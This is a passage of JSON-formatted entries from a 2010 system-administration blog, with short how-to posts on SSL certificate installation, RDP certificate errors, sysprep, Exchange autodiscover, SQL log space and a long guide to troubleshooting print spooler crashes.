w32time\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"How to Setup a Windows 2008 R2 SNTP/NTP Server"},{"content":"After you successfully installed a web or wildcard SSL certificate you must follow some extra steps.\nFirst download this zip with 2 SSL certificates Extract the zip e.g. C:\\install\\ssl Start \u0026gt; run \u0026gt; mmc \u0026gt; file\u0026gt; add/remove snap in \u0026gt; certificates \u0026gt; local computer \u0026gt;computer account \u0026gt; Intermediate Certification Authorities \u0026gt; right click certificates \u0026gt; import Then disable the old certificate\nExpand Trusted Root Certification Authorities \u0026gt; certificates Locate this certificate: Common Name – thawte Primary Root CA Expiry Date – 17th July 2036 Thumbprint – 91 c6 d6 ee 3e 8a c8 63 84 e5 48 c2 99 29 5c 75 6c 81 7b 81\ndisable it completely When the SSL not exist, please follow this steps:\nDownload this zip Install it here: Trusted Root Certification Authorities \u0026gt; certificates Disable the certificate I used this website as source: http://www.ripley.za.net/howto/it_howto/ssl-web-server-or-wildcard-certificate-issued-after-june-26-2010-not-trusted-after-installation-on-microsoft-iis/\n","permalink":"https://blog.wapnet.nl/2010/12/install-thawte-ssl-webserver-or-wildcard-the-quick-way/","summary":"\u003cp\u003eAfter you successfully installed a web or wildcard SSL certificate you must follow some extra steps.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFirst \u003ca href=\"/wp-content/uploads/2010/12/ThawteSSLCA.zip\"\u003edownload this zip\u003c/a\u003e with 2 SSL certificates\u003c/li\u003e\n\u003cli\u003eExtract the zip e.g. C:\\install\\ssl\u003c/li\u003e\n\u003cli\u003eStart \u0026gt; run \u0026gt; mmc \u0026gt; file\u0026gt; add/remove snap in \u0026gt; certificates \u0026gt; local computer \u0026gt;computer account \u0026gt; Intermediate Certification Authorities \u0026gt; right click certificates \u0026gt; import\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThen disable the old certificate\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eExpand Trusted Root Certification Authorities \u0026gt; certificates\u003c/li\u003e\n\u003cli\u003eLocate this certificate:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCommon Name – thawte Primary Root CA\nExpiry Date – 17th July 2036\nThumbprint – 91 c6 d6 ee 3e 8a c8 63 84 e5 48 c2 99 29 5c 75 6c 81 7b 81\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Install Thawte SSL Webserver or Wildcard (the Quick way)"},{"content":"When the boot process hangs during the following:\nCreating root device. Mounting root filesystem. kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. Setting up other filesystems. Setting up new root fs no fstab.sys, mounting internal defaults Switching to new root and running init. unmounting old /dev unmounting old /proc unmounting old /sys INIT: version 2.86 booting Welcome to CentOS release 5 (Final) Press \u0026lsquo;I\u0026rsquo; to enter interactive startup.\nDo the follwing:\nStart the server with an rescue cd and access (chroot) the disk Give the following command: mv hwclock hwclock.original echo \u0026ldquo;exit 0\u0026rdquo; \u0026gt; hwclock chmod 755 hwclock\nNow restart the server. The problem cause an error with the clock. For more info see: http://www.virtuatopia.com/index.php/Xen_CentOS/Fedora/Red_Hat_Guest_OS_Hangs_During_Boot\n","permalink":"https://blog.wapnet.nl/2010/12/centos-fedora-red-hat-guest-os-hangs-during-boot-vmware/","summary":"\u003cp\u003eWhen the boot process hangs during the following:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCreating root device.\nMounting root filesystem.\nkjournald starting.  Commit interval 5 seconds\nEXT3-fs: mounted filesystem with ordered data mode.\nSetting up other filesystems.\nSetting up new root fs\nno fstab.sys, mounting internal defaults\nSwitching to new root and running init.\nunmounting old /dev\nunmounting old /proc\nunmounting old /sys\nINIT: version 2.86 booting\nWelcome to  CentOS release 5 (Final)\nPress \u0026lsquo;I\u0026rsquo; to enter interactive startup.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"CentOS / Fedora / Red Hat Guest OS Hangs During Boot (VMWare)"},{"content":"Download Launcherpro from the marked.\nGo to Settings\u0026gt;Applications\u0026gt;Manage Applications. Find HTC Sense and click on it.\nscroll down a bit\u0026hellip;you should see a button about restoring default\u0026hellip;click that.\nhitting home after this will present you with a menu of both launcher pro and Sense.\npick launcher pro\u0026hellip;click the check box for default\u0026hellip;and you\u0026rsquo;re done!\n","permalink":"https://blog.wapnet.nl/2010/11/switch-from-sense-to-launcher-pro/","summary":"\u003cp\u003eDownload Launcherpro from the marked.\u003c/p\u003e\n\u003cp\u003eGo to Settings\u0026gt;Applications\u0026gt;Manage Applications. Find HTC Sense and click on it.\u003c/p\u003e\n\u003cp\u003escroll down a bit\u0026hellip;you should see a button about restoring default\u0026hellip;click that.\u003c/p\u003e\n\u003cp\u003ehitting home after this will present you with a menu of both launcher pro and Sense.\u003c/p\u003e\n\u003cp\u003epick launcher pro\u0026hellip;click the check box for default\u0026hellip;and you\u0026rsquo;re done!\u003c/p\u003e","title":"Switch from Sense to Launcher Pro"},{"content":"The tool netstumbler is very nice but work only on Windows XP. If you have enough on some basic scanning you can use the following netsh command:\nnetsh wlan show networks mode=bssid\nIf you need some extra info you can use the tool InSSIDer.\nScreenshot:\n","permalink":"https://blog.wapnet.nl/2010/11/netstumbler-alternative-wireless-scanning/","summary":"\u003cp\u003eThe tool netstumbler is very nice but work only on Windows XP. If you have enough on some basic scanning you can use the following netsh command:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003enetsh wlan show networks mode=bssid\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eIf you need some extra info you can use the tool \u003ca href=\"http://www.metageek.net/products/inssider\"\u003eInSSIDer\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eScreenshot:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2010/11/inSSIDer.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2010/11/inSSIDer.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Netstumbler alternative / Wireless Scanning"},{"content":"- Install an debian enviroment - Install the following packages:\nsudo apt-get install zlib1g-dev libncurses-dev bison libecj-java bison\nSee this site for instructions: http://trac.freetz.org/wiki/help/howtos/common/newbie.en\nHappy flashing\n","permalink":"https://blog.wapnet.nl/2010/11/build-your-own-fritzbox-firmware-image/","summary":"\u003cp\u003e- Install an debian enviroment\n- Install the following packages:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003esudo apt-get install zlib1g-dev libncurses-dev bison libecj-java bison\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eSee this site for instructions: \u003ca href=\"http://trac.freetz.org/wiki/help/howtos/common/newbie.en\"\u003ehttp://trac.freetz.org/wiki/help/howtos/common/newbie.en\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHappy flashing\u003c/p\u003e","title":"Build your own Fritzbox firmware / image"},{"content":"If this article helps you please consider a donation. I don\u0026rsquo;t like adds on my blog.\nWhen you get the RDP error \u0026ldquo;a revocation check could not be performed for the certificate\u0026rdquo; on a windows 7 workstation after you installed an SSL from a certification, you must disable enablecredsspsupport support. You can do this in the RDP file you are using. Open the *.rdp file in notepad and add the following line:\nenablecredsspsupport:i:0 If you are using TSWeb you can add this to the RemoteApp section.\nYou can check if the SSL work correctly when you click on the lock icon in the connection bar\nYou can also fix the problem itself by creating an SSL certificate trough the windows enterprise authority. Here are the steps:\nResolution ======================= To recover from the CA failure, we tried the following procedures: Procedure A: recover the CA. In this procedure, we tried the following steps: 1. setup a new Enterprise Root CA on a Windows Server 2008 Enterprise Edition box. The Steps of this procedure can be found at: Install Active Directory Certificate Services http://technet.microsoft.com/en-us/library/cc947821(WS.10).aspx Refer: Active Directory Certificate Services Step-by-Step Guide http://technet.microsoft.com/en-us/library/cc772393(WS.10).aspx 2. Configure the CA\u0026rsquo;s CDP and AIA to publish the CRL and AIA to the Internet Address on your web server. We did this by creating a virtual directory mapping to the CA\u0026rsquo;s share \u0026ldquo;CertEnroll\u0026rdquo;. This can be done via the following step: - Logon to the IIS Server which holds the Web Service in your network. - Run Inetmgr to open the IIS management console. - Under the default web site, we created a new Virtual Directory called \u0026ldquo;CertEnroll\u0026rdquo; and mapped it to the \u0026ldquo;CertEnroll\u0026rdquo; share on the CA. At the same time, we manually specific the account for this connection . - Logon t o the CA and run \u0026ldquo;Certsrv.msc\u0026rdquo; to open the CA\u0026rsquo;s management console. - Right click on the CA and select Properties. - Switch to \u0026ldquo;Extensions\u0026rdquo; tab. - In the Extension list, select \u0026ldquo;CDP\u0026rdquo; and then add a new CDP points to the Address we just created in the IIS and checked the option to add this extension to issued certificates. - In the Extension list, select \u0026ldquo;AIA\u0026rdquo; and perform similar steps as we did for CDP. Refer: Configure CDP and AIA Extensions http://technet.microsoft.com/en-us/library/cc776904(WS.10).aspx Procedure B: Recover the TS Gateway Certificate. In this procedure, we tried the following steps: 1. Enable the SSL for the CA\u0026rsquo;s web enrollment page via the following steps: - Open the MMC on the CA. - Click File -\u0026gt; Add/Remove Snap-ins -\u0026gt; Certificates -\u0026gt; Computer -\u0026gt; Local Computer to load the local computer\u0026rsquo;s certificate store. - Right on the Certificates | Personal | Certificates to request a new certificate from the new CA. Since we need to enable the SSL for the web site, we requested the Domain Controller Certificate Template as this templates contains the \u0026ldquo;Server Authentication\u0026rdquo; in application policy. - Open the IIS Management console on the CA via \u0026ldquo;Inetmgr\u0026rdquo; command. - Open the Web site hold the CA\u0026rsquo;s web enrollment. - Click \u0026ldquo;Binding\u0026rdquo; and add a new binding for HTTPS and select the certificate we just requested. 2. Duplicate the Web Server certificate template. - On the CA, run Certsrv.msc to open the CA\u0026rsquo;s management console. - Right click on certificate templates and select Duplicate to duplicate it and name it \u0026ldquo;TS Gateway\u0026rdquo;. - Mark the key as \u0026ldquo;exportable\u0026rdquo; for this template. 3. Request the certificate for the TS Gateway: - Logon to the TS Gateway. - Launch IE and access https://ca-name/certsrv. - use the Advanced Request to request the \u0026ldquo;TS Gateway\u0026rdquo; certificate template and put the common name as the TS Gateway\u0026rsquo;s virtual name \u0026ldquo;safari-1.bbe.k12.mn.us\u0026rdquo;. - Install the certificate. - Open the User\u0026rsquo;s certificates store via the command \u0026ldquo;Certmgr.msc\u0026rdquo;. - Right click the certificate we just requested and export it along with its private key to a PFX file. - Launch IIS Management console via Inetmgr command. - Right click on the Web site for TS Gateway and click \u0026ldquo;Server Certificates\u0026rdquo; to import the PFX file. - Launch Server manager to open the TS Gateway\u0026rsquo;s console and then configure the new certificate we just requested for the TS Gatway. Procedure C: recover the nodes in the TS Farm. 1. Request Certificates for the TS Farm nodes: - Logon to the TS Farm nodes. - Launch IE and access https://ca-name/certsrv. - use the Advanced Request to request the \u0026ldquo;TS Gateway\u0026rdquo; certificate template and put the common name as the TS Farm virtual name \u0026ldquo;safari-1.bbe.priv\u0026rdquo;. - Install the certificate. - Open the User\u0026rsquo;s certificates store via the command \u0026ldquo;Certmgr.msc\u0026rdquo;. - Right click the certificate we just requested and export it along with its private key to a PFX file. 2. Configure the Certificate for the TS nodes. - Open the TS management console. - Right click on the RDP interface to specify the new certificate for those nodes in the Properties page. More Information ================================== For clients, they can access the TS Gateway and would receive a warning indicating the certificate is not trusted. They can check the certificate chain by click \u0026ldquo;view certificate\u0026rdquo;. Meanwhile, they can also access the AIA directly to download the Root CA\u0026rsquo;s certificate and install it on the client: http://domain-name/certenroll/Jaguar6.bbe.priv_bbe-ca.crt If this article helps you please consider a donation. I don\u0026rsquo;t like adds on my blog.\n","permalink":"https://blog.wapnet.nl/2010/11/a-revocation-check-could-not-be-performed-for-the-certificate/","summary":"\u003cp\u003e\u003cem\u003eIf this article helps you please consider a donation. I don\u0026rsquo;t like adds on my blog.\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eWhen you get the RDP error \u0026ldquo;a revocation check could not be performed for the certificate\u0026rdquo; on a windows 7 workstation after you installed an SSL from a certification, you must disable enablecredsspsupport support. You can do this in the RDP file you are using. Open the *.rdp file in notepad and add the following line:\u003c/p\u003e","title":"A revocation check could not be performed for the certificate"},{"content":"You can only run sysprep twice. If you get an error the 3rd time follow these steps to fix it:\n1. Change the following Registry key value of GeneralizationState to 7.\nHKLM\\System\\Setup\\Status\\SysprepStatus\n2. Run \u0026lsquo;msdtc -uninstall\u0026rsquo; and \u0026lsquo;msdtc -install\u0026rsquo; to repair the DTC installation.\n3. Then re-run sysprep again and see if the issue is resolved.\n","permalink":"https://blog.wapnet.nl/2010/11/sysprep-error-windows-2008-r2-and-windows-7/","summary":"\u003cp\u003eYou can only run sysprep twice. If you get an error the 3rd time follow these steps to fix it:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.     Change the following Registry key value of \u003cstrong\u003eGeneralizationState\u003c/strong\u003e to 7.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKLM\\System\\Setup\\Status\\SysprepStatus\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e2.     Run \u0026lsquo;msdtc -uninstall\u0026rsquo; and \u0026lsquo;msdtc -install\u0026rsquo; to repair the DTC installation.\u003c/p\u003e\n\u003cp\u003e3.     Then re-run sysprep again and see if the issue is resolved.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Sysprep error Windows 2008 r2 and Windows 7"},{"content":"If you have some trouble with Out-of-Office / Autodiscover Exchange try the following to fix the problems:\nRemove Autodiscover and EWS virtual directories from the default website with the following commands\nRemove-WebServicesVirtualDirectory\nRemove-AutodiscoverVirtualDirectory\nIf you can\u0026rsquo;t remove them because of some error use the metebase explorer (google) and follow these steps:\n1. Install it on your Exchange Server 2. Run it as Administrator 3. Browse to Wssv \u0026ndash;\u0026gt; 1 \u0026ndash;\u0026gt; Root \u0026ndash;\u0026gt; Autodiscover 4. Dont delete it first, rename it to whatever\u0026hellip; 5. Check Metabase Explorer and IIS Management to make sure your new Autodiscover Application is listed. 6. Delete old renamed directory in Metabase explorer\u0026hellip;\nCreate the EWS and Autodiscover again\nNew-WebServicesVirtualDirectory -WebsiteName \u0026ldquo;Default Web Site\u0026rdquo; -Internalurl \u0026ldquo;https://server.domain.local/EWS/Exchange.asmx\u0026rdquo; -ExternalUrl \u0026ldquo;https://server.domain.local/EWS/Exchange.asmx\u0026rdquo;\nNew-AutoDiscoverVirtualDirectory -websitename \u0026ldquo;Default Web Site\u0026rdquo; -WindowsAuthentication $true -DigestAuthentication $false -Internalurl \u0026ldquo;https://server.domain.local/EWS/Exchange.asmx\u0026rdquo; -ExternalUrl \u0026ldquo;https://server.domain.local/EWS/Exchange.asmx\u0026rdquo;\nGive an IIS reset.\nCheck with these commands if the EWS and Autodiscover works:\n1. Past the internal URL in your browser. A certificate error may occur, and there must be come a login windows. After you login with some authenticated user you must see a XML file. 2. Try the following CMDlets for more information. Esspecialy the output from Test-Outlookwebservices is very important .\nTest-OutlookWebServices |fl Get-webservicesvirtualdirectory |fl\n3. Start Outlook as Exchange user, press down crtl, click with the right mouse button on the Outlook icon and click on test automatic email configuration.\nIf you get an error 500, error 1013 or some web application error check the IIS authentication rights:\nNow it must work!\n","permalink":"https://blog.wapnet.nl/2010/10/exchange-2007-out-of-office-autodiscover-troubleshooting/","summary":"\u003cp\u003eIf you have some trouble with Out-of-Office / Autodiscover  Exchange try the following to fix the problems:\u003c/p\u003e\n\u003cp\u003e Remove Autodiscover and EWS virtual directories from the default website with the following commands\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eRemove-WebServicesVirtualDirectory\u003c/p\u003e\n\u003cp\u003eRemove-AutodiscoverVirtualDirectory\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eIf you can\u0026rsquo;t remove them because of some error use the metebase explorer (google) and follow these steps:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1. Install it on your Exchange Server\n2. Run it as Administrator\n3. Browse to Wssv \u0026ndash;\u0026gt; 1 \u0026ndash;\u0026gt; Root \u0026ndash;\u0026gt; Autodiscover\n4. Dont delete it first, rename it to whatever\u0026hellip;\n5. Check Metabase Explorer and IIS Management to make sure your new Autodiscover Application is listed.\n6.  Delete old renamed directory in Metabase explorer\u0026hellip;\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Exchange 2007 – Out-of-Office / Autodiscover troubleshooting"},{"content":"I found a tool with the awfull name \u0026ldquo;SUPER ©\u0026rdquo;. The interface is bad, the website is bad, my antivirus tolds me that the tool create virusses and the tool cannot start without admin rights. If you can ignore al of this crap, SUPER © is the freeware tool to convert almost every media file.\nYou can download the file here: http://www.erightsoft.com/S6Kg1.html\n","permalink":"https://blog.wapnet.nl/2010/10/tool-to-convert-almost-any-video-file/","summary":"\u003cp\u003eI found a tool with the awfull name \u0026ldquo;SUPER ©\u0026rdquo;. The interface is bad, the website is bad, my antivirus tolds me that the tool create virusses and the tool cannot start without admin rights. If you can ignore al of this crap, SUPER © is the freeware tool to convert almost every media file.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2010/10/super.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2010/10/super.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eYou can download the file here: \u003ca href=\"http://www.erightsoft.com/S6Kg1.html\"\u003ehttp://www.erightsoft.com/S6Kg1.html\u003c/a\u003e\u003c/p\u003e","title":"Tool to convert almost any video file"},{"content":"DBCC SQLPERF(LOGSPACE); GO\n","permalink":"https://blog.wapnet.nl/2010/10/check-sql-log-space-use/","summary":"\u003cp\u003eDBCC SQLPERF(LOGSPACE);\nGO\u003c/p\u003e","title":"Check SQL Log space use"},{"content":"(copy from: http://blogs.technet.com/b/perfguru/archive/2008/08/06/print-spooler-crash-troubleshooting-steps.aspx)\nOverview of Print Spooler Component Print Processor\nThe print processor tells the spooler to alter a job according to the document data type. It works together with the printer driver to move the spooled print jobs from the hard disk drive to the printer.\nPrint Monitor\nThe print monitors are the name of any component that processes the print job after it has spooled and are responsible for directing the output to the print device. Print monitors can be divided into two classes:\nLanguage monitors Port monitors Language monitors are typically used only for bi-directional printers. A bi-directional printer\nSupports two-way communication to answer status, and configurations questions sent to it. A\nBi-directional printer can also give unsolicited status information about the job being printed,\nand error conditions such as paper out.\nPort monitors consist of user-mode DLLs. They are responsible for providing a communications path between the user-mode print spooler and the kernel-mode port drivers that access I/O port hardware.\nPrint Spooler crash happens most of the time due to third party print processor and print monitor. We can set printers to use default print processor and monitor by machine changes in the registry called as Print hive cleaning\nNote that all of the changes described in this section will take effect when the Print Spooler service is restarted.\nConfirm the default Local Print Provider Use Regedit to locate the Print key in the Registry: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\nClick to highlight the Print key in Regedit and export the key as a .reg file for backup purposes (File \u0026gt; Export).\nLocate the Local Port Registry key:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\Local Port\nConfirm that the Driver value in the Local Port Registry key is set to Localspl.dll. If it is not, double-click the Driver value to edit the Data String and set it to Localspl.dll. Remove 3rd Party Port and Language Monitors Note any 3rd-party Monitors that are listed in the Monitors Registry key for future reference: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\nThe default Monitors are:\n==========================\nAppleTalk Printing Devices\nBJ Language Monitor Local Port\nLPR Port\nPJL Language Monitor Standard TCP/IP Port USB Monitor Windows NT Fax Monitor\n==========================\nNote: Not all of the above default Port Monitors will be present in all cases. You may also see the Microsoft Office Document Imaging Monitor which is installed by MS Office.\nThe 2 types of monitors that may be listed here are Port Monitors and/or Language Monitors. As a general rule, Language Monitors will not have any printer ports defined in the Ports subkey and may be removed without causing a problem. Port Monitors such as HP Standard TCP/IP, however, may have active printers using this port type. If a 3rd-party Port Monitor is in use, with printers defined in the Ports subkey under the Port Monitor, you will need to convert the port(s) to a Standard TCP/IP Port ( Standard Port Monitor).\nTo convert the printer ports from the 3rd-party Port Monitor to Standard TCP/IP Port Monitor, perform the following steps: Convert 3rd Party Ports to Standard TCP/IP Ports Open the Printers and Faxes folder.\nRight-click the printer that was identified as using the 3rd-party Port Monitor and select Properties.\nIn the Properties for the printer, click the Ports tab.\nOn the Ports tab, click the Add Port button.\nIn the Printer Ports dialog, select Standard TCP/IP and click the New Port button to start the Add Standard TCP/IP Printer Port Wizard.\nClick Next when the Add Standard TCP/IP Printer Port Wizard starts to specify the printer that will be using this new port.\nEnter the Printer Name or IP Address for the printer that will be using this new port and click Next.\nNote: The wizard automatically fills in the port name for you in the Port Name box. You can either accept this name or type the name that you want to use, and then click Next. Standard Port Monitor then sends a query to the print device. Based on the SNMP values that are returned, the device details are determined and the appropriate device options are displayed. If the print device cannot be identified, you must supply additional information about it.\nIf the Additional Port Information Required page is displayed, perform one of the following tasks under Device Type: Click Standard, click the appropriate device in the list, and then click Next.\n-or-\nClick Custom, click Settings, specify the protocol settings ( RAW or LPR) and the SNMP status settings that you want to use, click OK, and then click Next.\nIf the wizard prompts you for the print server protocol, specify the protocol that you want to use, either RAW or LPR.\nIf the wizard prompts you to select a port, specify the port that you want to use in the Device Port box, and then click Next.\nClick Finish, and then click Close. On the Ports tab in the Properties for the printer, you should see that the printer is now set to use the new Standard TCP/IP Port that you just created. The new Standard TCP/IP port is also displayed in the Ports on this server list on the Ports tab in the Print Server Properties ( File \u0026gt; Server Properties from within the Printers folder)\nYou can then delete the 3rd-party port from the Ports tab within the Print Server Properties.\nRepeat these steps for all printers that are using a 3rd-party Port Monitor.\nAfter moving all printers to the Standard TCP/IP Port Monitor, we can delete the 3rd-party Port Monitor\u0026rsquo;s Registry key under the Monitors key:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\nRemove All Other 3rd party Monitors For any other 3rd party Monitors that are identified under the Monitors key and are confirmed to NOT have any printer ports listed under the Ports subkey for the Monitor, we will need to perform the following 2 steps\nIdentify printers configured to use the 3rd party Monitor. Delete the reference to the Monitor for that printer. Delete the Registry key for the 3rd party Monitor. Note: The Client Printer Port is the Citrix Metaframe Monitor used for autocreated client printers in Terminal Server sessions. Do not remove this Monitor unless it is confirmed to be related to the problem:\n==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Monitors\\Client Printer Port\nDriver REG_SZ cpmmon.dll\n==========================\nSee the following article before removing Lexmark Monitors: 155516 How to Remove the Lexmark MarkVision Monitor\nhttp://support.microsoft.com/?id=155516\nNote the name of the 3rd-party Monitor that is being removed. We will use this name to search the Print Registry key for references to this Monitor. Assume, for example, that the HP Master Monitor is installed:\n==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Monitors\\HP Master Monitor\nEOJTimeout REG_DWORD 0xea60\nDriver REG_SZ HPBMMON.DLL\n==========================\nIn Regedit, click to highlight the Print key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\nPress F3, or click the Edit menu and select Find.\nIn the Find What field, type the name of the 3rd-party Monitor that is being removed, HP Master Monitor in this example, and click Find Next. Identify printers that are configured to use the Monitor that we are removing, for example:\n==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Drivers\\Version-3\\HP Color LaserJet 2500 PCL 6\nConfiguration File REG_SZ HPBF342E.DLL\nData File REG_SZ HPBF342I.PMD\nDriver REG_SZ HPBF342G.DLL\nHelp File REG_SZ HPBF342E.HLP\nMonitor REG_SZ HP Master Monitor\n==========================\nDouble-click the Monitor value to delete the 3rd party Monitor data string. In this example, delete the \u0026ldquo;HP Master Monitor\u0026rdquo; value. The Monitor value will be left with a blank data string, as follows: ==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Drivers\\Version-3\\HP Color LaserJet 2500 PCL 6\nConfiguration File REG_SZ HPBF342E.DLL\nData File REG_SZ HPBF342I.PMD\nDriver REG_SZ HPBF342G.DLL\nHelp File REG_SZ HPBF342E.HLP\nMonitor REG_SZ\n==========================\nRepeat the steps above for all 3rd-party Monitors.\nStop and restart the Print Spooler service for the changes take effect.\nNet stop spooler Net start spooler Note: In most cases, removing the 3rd party Monitors will not affect normal printing. If new problems are seen after removing the 3rd party Monitors, we can restore the backed up Print Registry key to restore the original configuration..\nYou can then perform the steps above again in smaller steps, stopping and starting the Print Spooler service more frequently, to determine if a specific component is required. If so, skip the removal of this component and continue removing the other 3rd-party items.\nNote: If the problem is easily reproducible, you may also individually remove the 3rd-party Monitors to try to narrow the problem down to a particular Monitor. This procedure will take more time and may require restarting the Print Spooler service multiple times.\nRemove 3rd-party Print Providers Remove 3rd party Print Providers by deleting the 3rd-party providers in the following Registry key:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Providers\nThe default Print Providers are:\nInternet Print Provider\nLanman Print Services\nThe Client Printer Provider is the Citrix Metaframe provider used for autocreated client printers in Terminal Server sessions. Do not remove this Provider unless it is confirmed to be related to the problem:\n==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Providers\\Client Printer\nName REG_SZ C:\\Program Files\\Citrix\\system32\\cdmprov.dll\nDisplayName REG_SZ Client Printer\n==========================\nStop and restart the Print Spooler service for the changes take effect. Net stop spooler\nNet start spooler\nRemove 3rd Party Print Processors Perform the following steps to confirm that all printers are configured to use the WinprintPrint Processor.\nIdentify printers that are configured to use a 3rd party Print Processor. Change the 3rd party Print Processor to Winprint. Delete the Registry key for the 3rd party Print Processor. Note the name of the installed Print Processors under the following Registry key: HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Print Processors\nThe default Print Processor is Winprint:\n==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Print Processors\\winprint\nDriver REG_SZ localspl.dll\n==========================\nAssume, for example, that the HPPRN05 is installed:\n==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows NT x86\\Print Processors\\HPPRN05\nDriver REG_SZ HPPRN05.DLL\n==========================\nIn Regedit, click to highlight the Print key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\nPress F3, or click the Edit menu and select Find.\nIn the Find What field, type Print Processor and click Find Next. Identify the Print Processor being used for each printer:\n==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Printers\\Client1\nChangeID REG_DWORD 0x1b9fa8c9\nStatus REG_DWORD 0x180\nName REG_SZ Client\\XPWS\nShare Name REG_SZ\nPrint Processor REG_SZ HPPRN05\n==========================\nDouble-click the Print Processor value to change the 3rd party processor data string to Winprint: ==========================\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Print\\Printers\\Client1\nChangeID REG_DWORD 0x1b9fa8c9\nStatus REG_DWORD 0x180\nName REG_SZ Client\\XPWS\nShare Name REG_SZ\nPrint Processor REG_SZ WinPrint\n==========================\nRepeat the steps above for all 3rd-party Print Processors.\nStop and restart the Print Spooler service for the changes to take effect.\nNet stop spooler Net start spooler Note: In most cases, changing the print processor to Winprint will not affect normal printing. If new problems are seen after changing the print processor, we can restore the backed up Print Registry key and restart the Print Spooler service to restore the original configuration.\nYou can then perform the steps above again in smaller steps, stopping and starting the Print Spooler service more frequently, to determine if a specific component is required. If so, skip the removal of this component and continue removing the other 3rd party items.\nAdditional steps to be done\nCheck the Spool folder to see if there are any old files in the folder. When printing is working properly, the files in the Spool folder are deleted as the jobs are printed. The default Spool folder is: systemroot\\System32\\Spool\\Printers\nThe Spool folder location can be confirmed by checking the DefaultSpoolDirectory Registry value in the following Registry key:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Printers\nMove any old files that are in the Spool folder to see if the problem still occurs. Corrupt files in the Spool folder can cause Print Spooler service problems. You may need to stop the Print Spooler service to move the files from the Spool folder.\nThe Print Spooler service is, by default, dependent only upon the Remote Procedure Call (RPC) service, RPCSS. To confirm the Spooler dependencies, check the DependOnService value in the following Registry key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Spooler\nConfirm that the dependent services are started. If there are any other dependent services listed, in addition to RPCSS, edit the DependOnService Registry value to remove all dependencies except RPCSS.\nConfigure the installed antivirus application to exclude scanning the Spool folder. There can be contention between the antivirus application and the Print Spooler service that may cause intermittent printing problems. If still issue persists we need to collect ADPlus crash dump of print spooler service. ADPlus is a tool that will allow us to get a memory dump from a process that is giving you problems.\nTo get this tool, please install the “Debugging Tools for Windows\u0026quot; from http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx\nOnce these tools are installed, do the following:\n1. Create a directory called c:\\adplus\n2. Open a command prompt and change to the directory where you installed the debugging tools. By default, this is c:\\Program Files\\Debugging Tools for Windows\n3. Type the following: \u0026quot; cscript adplus.vbs -hang -pn \u0026lt;mmc.exe\u0026gt; -o c:\\adplus”\n4. Do not interfere with the windows that is opened, just let it run minimized. 5. You will not be able to log off the system while you are monitoring. 6. When the crash occurs, please zip and send me the contents of the c:\\adplus directory.\nFor more information please see refer to this Knowledge Base article: 286350 HOWTO: Use Autodump+ to Troubleshoot \u0026ldquo;Hangs\u0026rdquo; and \u0026ldquo;Crashes\u0026rdquo;http://support.microsoft.com/?id=286350\nAfter collecting the dump please contact Microsoft for the analysis.\n","permalink":"https://blog.wapnet.nl/2010/10/print-spooler-crash-troubleshooting-steps/","summary":"\u003cp\u003e(copy from: \u003ca 